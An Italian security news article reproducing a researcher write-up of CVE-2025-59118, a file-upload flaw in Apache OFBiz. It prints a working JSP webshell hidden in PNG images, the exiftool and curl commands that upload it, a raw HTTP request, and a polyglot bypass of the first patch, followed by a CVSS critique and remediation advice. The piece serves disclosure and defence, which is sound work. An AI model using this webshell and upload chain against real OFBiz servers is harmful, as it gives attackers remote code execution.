Red Hot Cyber
Sicurezza Informatica, Notizie su Cybercrime e Analisi Vulnerabilità
Nel 2025 il team di Red Hive, ha scoperto la CVE-2025-59118 in Apache OFBiz. Nonostante venga descritta come una semplice vulnerabilità di upload file, l’analisi mostra che può portare facilmente all’esecuzione di codice arbitrario (RCE), dettaglio mai evidenziato ufficialmente. Nel tempo sono stati circolati PoC, interpretazioni errate e valutazioni CVSS discutibili, generando confusione. L’articolo ricostruisce la vulnerabilità originale e spiega anche come le prime patch siano state aggirate.
Apache OFBiz è un sistema ERP (Enterprise Resource Planning) open source il quale fornisce applicazioni aziendali per aree quali contabilità, CRM, gestione degli ordini, magazzino, produzione e MRP (Material Requirements Planning). OFBiz è un progetto di alto livello della Apache Software Foundation.
L’articolo che segue è stato fornito a Red Hot Cyber dal Red Hive team che pubblichiamo integralmente.
Nel 2025 il team di Red Hive ha identificato una vulnerabilità in Apache OFBiz, tracciata come CVE-2025-59118. Siamo stati deliziati [/s] nel vedere circolare negli ultimi mesi articoli con proof-of-concept completamente inventati, payload AI-hallucinated e interpretazioni tecniche creative di questa vulnerabilità. A completare il quadro, il CVSS assegnato successivamente introduce assunzioni tecnicamente errate.
Il risultato di tutta questa confusione è che, per il mondo, CVE-2025-59118 è quanto segue.Citando NVD: “Unrestricted Upload of File with Dangerous Type vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.03. Users are recommended to upgrade to version 24.09.03, which fixes the issue.”
Tutto sommato pare una cosa tranquilla.
In questo articolo ricostruiremo la vulnerabilità dal punto di vista di chi l’ha trovata, spiegando come la issue porti con una certa semplicità all’esecuzione di codice arbitrario (fatto mai menzionato ufficialmente, non era importante probabilmente) per poi passare al come sono state aggirate le prime patch.
La problematica in questione si trova nell’endpoint: /catalog/control/addImageForProduct
Quest’ultimo può essere utilizzato da qualunque utente autenticato che disponga almeno dei seguenti privilegi:
Da questa pagina è possibile caricare una o più immagini:
In questo scenario, l’applicazione valida soltanto il MIME type dichiarato del file caricato (ad esempioimage/png) non imponendorestrizioni efficaci sull’estensione del file. C’è però una limitazione: il file deve essere un’immagine valida, altrimenti l’upload fallisce.
Ma un file può essere contemporaneamente un’immagine valida e un file JSP valido? Assolutamente si. Questo tipo di file viene solitamente definito polyglot. Nel primo scenario di exploit, abbiamo sfruttato i metadata dell’immagine. Inserendo una JSP webshell nel campo ExifComment di una immagine PNG valida, è possibile superare il controllo lato applicazione e ottenere un file che viene caricato come immagine, ma salvato ed eseguito come JSP.
Partiamo da un’immagine PNG valida,warningcurl.png, usata come base per la PoC. Per inserire la webshell utilizzeremo exiftool, con il comando seguente:
exiftool -Comment='<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {String all="Command: " + request.getParameter("cmd") + "<BR>";Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {all+=disr;disr = dis.readLine();}out.println("<script>document.body.innerHTML = ``;document.write(atob(`"+Base64.getEncoder().encodeToString(all.getBytes("UTF-8"))+"`));document.close();</script>");return;}%>' warningcurl.png
Una volta modificata l’immagine, è possibile caricarla tramite una richiesta multipart, dichiarando un MIME type valido ma forzando il filename con estensione.jsp.
curl -sk -b $'JSESSIONID=[SNIP]' -F "productId=[SNIP]" -F "[email protected];filename=warningcurl.jsp;type=image/png" https://localhost:8443/catalog/control/addImageForProduct
Questo è un esempio di richiesta in formato RAW. Il dettaglio importante è la combinazione traContent-Type: image/png efilename=”warningcurl.jsp”.
POST /catalog/control/addImageForProduct HTTP/2
Host: localhost:8443
Cookie: JSESSIONID=[SNIP];
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDDW4l0NGJhqdkBnE
------WebKitFormBoundaryDDW4l0NGJhqdkBnE
Content-Disposition: form-data; name="productId"
[SNIP]
------WebKitFormBoundaryDDW4l0NGJhqdkBnE
Content-Disposition: form-data; name="additionalImageOne"; filename="warningcurl.jsp"
Content-Type: image/png
[IMAGE CONTENT]
------WebKitFormBoundaryDDW4l0NGJhqdkBnE--
Dopo l’upload, la webshell risulta accessibile al seguente path: /images/products/management/[PRODUCT-ID]/warningcurl.jsp?cmd=id
Una volta caricato, il file JSP diventa direttamente accessibile ed eseguibile senza autenticazione, introducendo anche una forma di persistenza post-exploitation.
Una nota pratica:
Non tutte le immagini PNG funzionano allo stesso modo. Alcuni byte presenti nel contenuto dell’immagine possono interferire con la sintassi JSP e rompere l’esecuzione del payload.
Per questo motivo, nella PoC originale abbiamo usato una immagine “farcita” costruita appositamente per mantenere sia la validità PNG sia la validità JSP.
I developer di Apache OFBiz sono stati informati rapidamente e hanno rilasciato una prima patch in pochi giorni. Quest’ultima eliminava i metadata potenzialmente dannosi dall’immagine caricata, rimuovendo quindi il canale usato dalla prima PoC per trasportare il payload JSP.
Il problema, tuttavia, è che i metadata non sono l’unico modo per costruire una immagine polyglot. Anche l’image data può essere usata per ottenere un risultato simile, anche se la costruzione del file è più complessa.
Qui entra in gioco lo script Python tweetable-polyglot-png di DavidBuchanan314. (https://github.com/DavidBuchanan314/tweetable-polyglot-png/blob/main/pack.py) :
python3 pack.py warningcurl.png webshell.jsp warning_plusplus.png
Dove:
Il contenuto di webshell.jsp era il seguente. Non si tratta di una webshell JSP standard: è stato necessario modificare alcuni caratteri per evitare syntax error nel file polyglot risultante.
<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {String all="Command: " + request.getParameter("cmd") + "<BR>";Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {all+=disr;disr =dis.readLine();}out.println("><script>document.body.innerHTML = atob(`"+Base64.getEncoder().encodeToString(all.getBytes("UTF-8"))+"`);</script>");return;}%>
Dato che il nuovo payload non dipende più dai metadatarimossi dal patch, la prima patch può considerarsi aggirata. Il bypass è stato comunicato ai developer, che hanno successivamente rilasciato una seconda patch per chiudere definitivamente la issue.
Cosa abbiamo visto? Che il vero impatto nasce dalla combinazione di tre elementi:
che portano all’esecuzione di codice arbitrario sul sistema operativo.
Possiamo quindi passare al….
Il punto più interessante della storia. Il vettore attualmente associato alla vulnerabilità è:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Severity 7.3 High. Peccato che:
Serve un utente autenticato con privilegi limitati: Quindi LOW. Per fortuna.
Dato che il suo sfruttamento consente di uscire dal perimetro applicativo e raggiungere il sistema operativo.
Crediamo che Confidentiality, Integritye Availability possano essere considerate HIGH senza troppo imbarazzo. Abbiamo esecuzione di codice arbitrario sul sistema operativo, l’accesso read/write ai dati e la possibilità di spegnere OfBiz.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9.9 Critical pare più coerente.
Gli utenti di Apache OFBiz dovrebbero essere già passati alla versione 24.09.03 o successiva (si spera), verificando che le fix relative a CVE-2025-59118 siano effettivamente presenti nella propria installazione. In generale, gli upload di file dovrebbero essere gestiti applicando controlli multilivello:
Kudos ai developer di Apache OFBiz per la rapidità e la disponibilità dimostrate durante il processo di disclosure e remediation. Un po’ meno a chi ha successivamente ritarato il CVSS in modo poco allineato alla realtà tecnica.
